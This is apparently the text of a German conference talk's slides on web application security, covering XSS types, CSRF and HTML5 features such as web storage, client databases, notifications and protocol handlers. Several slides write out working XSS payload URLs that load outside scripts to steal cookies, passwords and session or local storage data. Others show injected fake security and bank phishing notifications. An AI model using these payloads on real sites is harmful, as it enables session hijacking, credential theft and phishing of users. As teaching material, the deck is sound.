Frank Ruske, Software Entwickler bei der Mayflower GmbH hat mehr als acht Jahre Erfahrung sowohl in der Webentwicklung als auch als Teamleiter. Auch als Autor für das PHP Magazin und andere namhafte IT-Zeitschriften konnte er sich bereits behaupten.
In diesem Vortrag zeigen wir anhand von Beispielen, wie gefährlich XSS und CSRF wirklich sind. Wie können Intranets "gehackt" werden? Kann man die Same Origin Policy umgehen? XSS und Bufferoverflows? Welche Gefahren kommen zusätzlich mit HTML 5 und den neuen Web Sockets, die es erlauben, dass ein Server zu jedem Zeitpunkt Daten zum Browser schickt?
2. XSS
I XSS Typen
· Nicht-Persistent oder reflektiv
http://html5.security.local/examples/xss1.php/'><script>alert(/X
SS/)</script> DEMO
"GET
/examples/xss1.php/'%3E%3Cscript%3Ealert(/XSS/)%3C/script%3
E HTTP/1.1" 200
Mayflower GmbH I 2
3. XSS
I XSS Typen
· Persistent oder beständig
http://html5.security.local/examples/xss2.php DEMO
"GET /index.php?open=xss2 HTTP/1.1" 200 1413
Mayflower GmbH I 3
4. XSS
I XSS Typen
· DOM-Basiert oder Lokal
http://html5.security.local/examples/xss3.php#name=frank<script>
alert(/XSS/)</script> DEMO.
"GET /index.php?open=xss3 HTTP/1.1" 200 1413
Mayflower GmbH I 4
5. XSS
I Cookie Diebstahl
http://html5.security.local/index.php/'><script type="text/javascript"
src="http://www.frank-ruske.com/sec/payloads/cookie.js"></script><!-
-
DEMO
Mayflower GmbH I 5
6. XSS
I DOM Passwortklau
http://html5.security.local/examples/xss4.php/'><script
src='http://www.frank-ruske.com/sec/payloads/dompwd.js'></script>
DEMO
Mayflower GmbH I 6
7. Cross Site Request Forgery
I Ausnutzen des Vertrauens einer Seite in den Benutzer
I Zustandsloses Protokoll HTTP
I Header als Authentifizierung bei jedem Request
Mayflower GmbH I 7
9. HTML5 – Session Storage
I Session Daten können lokal gespeichert werden
· 5 - 10 MB pro Domain
I Der Client (Browser) hat kompletten Zugriff auf die Session Daten.
Mayflower GmbH I 9
10. HTML5 – Session Storage auslesen
I Session Storage auslesen
http://html5.security.local/index.php/'><script src='http://www.frank-
ruske.com/sec/payloads/sessionStorage.js'></script>?open=session_sto
rage_2 DEMO
Mayflower GmbH I 10
11. HTML5 – Local Storage / Web Storage
I Daten können lokal gespeichert werden
· 5 - 10 MB pro Domain
Der Client (Browser) hat kompletten Zugriff auf die Lokalen Daten.
User Tracking, Marketing, Botnet, Würmer.
Mayflower GmbH I 11
12. HTML5 – Local Storage Exploit / CSU – Cross Side Ursula
/'><script src='http://bit.ly/bHzqiG'></script>?open=local_storage_2
Mayflower GmbH I 12
13. HTML5 – Cross-directory attacks
W3C Web Storage Editor's Draft 12 May 2010
Different authors sharing one host name, for example users
hosting content on geocities.com,
all share one local storage object. There is no feature to restrict
the access by pathname. Authors on shared hosts
are therefore recommended to avoid using these features, as it would be
trivial for other authors to read the data and overwrite it.
Mayflower GmbH I 13
14. HTML5 – Datenbank
I Lokale SQLite Datenbank
· 5 - 10 MB pro Domain
Mayflower GmbH I 14
15. HTML5 – Datenbank Objekt und Methoden
I db = openDatabase(shortName, version, displayName, maxSize);
· shortName (Kurzname zum Zugriff im Browser und SQL)
· Version (Datenbank Versionsnummer)
· displayName (Voller Datenbankname)
· maxSize (Erwartete Datenbankgröße / Memory Management)
I db.changeVersion('1.0', '2.0', cv_10_20, error_10_20, success_10_20);
I db.transaction
· ExecuteSQL()
Objekte: SQLResultSet, SQLResultSetRowList, SQLError
Mayflower GmbH I 15
16. HTML5 – Datenbank Beispiel Querys
I executeSQL
· CREATE TABLE Table1Test (id REAL UNIQUE, text TEXT)
· DROP TABLE Table1Test
· SELECT * FROM Table1Test
· DELETE FROM Table1Test WHERE id=82
· INSERT INTO Table1Test (id, text) VALUES (4383, 'foobar')
· UPDATE Table1Test SET text = 'foobar2' WHERE id = 9467
Mayflower GmbH I 16
21. HTML5 – Notifications – Exploits
· http://html5.security.local/index.php/'><script>window.webkitNotifications.
createNotification('http://files.youporn.com/images/logoblack.png','Buy
cheap Viagra NOW!!!!!!!!!!!!!!!!!!!!','We offer the best prices on the
market!').show();</script><!--
DEMO
· http://html5.security.local/index.php/'><script>window.webkitNotifications.
createNotification('http://www.frank-ruske.com/sec/security.png','Security
notice','It looks like your account was hacked. Please change your password
now!').show();</script><!--
DEMO
· http://html5.security.local/index.php/'><script>window.webkitNotifications.
createNotification('http://www.frank-
ruske.com/sec/deutsche_bank.png','Deutsche Bank - Wichtiger Hinweis','Es
gibt Unstimmigkeiten mit Ihrem Onlinebanking Konto. Bitte loggen Sie sich jetzt
ein, oder melden Sich umgehend bei ihrem Berater.').show();</script><!--
DEMO
Mayflower GmbH I 21
22. HTML5 – Navigator
I Information Disclosure
· window.navigator.appName
· window.navigator.appVersion
· window.navigator.platform
· window.navigator.userAgent
· window.navigator.onLine
I Protokol und Content Handler
· window. navigator.registerProtocolHandler(scheme, url, title)
· window. navigator.registerContentHandler(mimeType, url, title)
Mayflower GmbH I 22
23. HTML5 – Custom Protocol Handlers & Content Handlers
I Registrieren von Webanwendungen als handler
für Protokolle und MIME Types
I void registerProtocolHandler
(in DOMString scheme, in DOMString url, in DOMString title);
I void registerContentHandler
(in DOMString mimeType, in DOMString url, in DOMString title);
Mayflower GmbH I 23
24. HTML5 – Custom Protocol Handlers im Firefox
DEMO FireFox
Mayflower GmbH I 24
29. HTML5 – Cross-document messaging
W3C HTML5 Draft Standard — 23 May 2010
9.2 Cross-document messaging
“While this is an important security feature,
it prevents pages from different domains from communicating
even when those pages are not hostile. ”
Mayflower GmbH I 29
32. HTML5 – Cross-Domain messaging
When a Document is created, its effective script origin is initialized
to the origin of the Document. However, the document.domain
attribute can be used to change it.
Mayflower GmbH I 32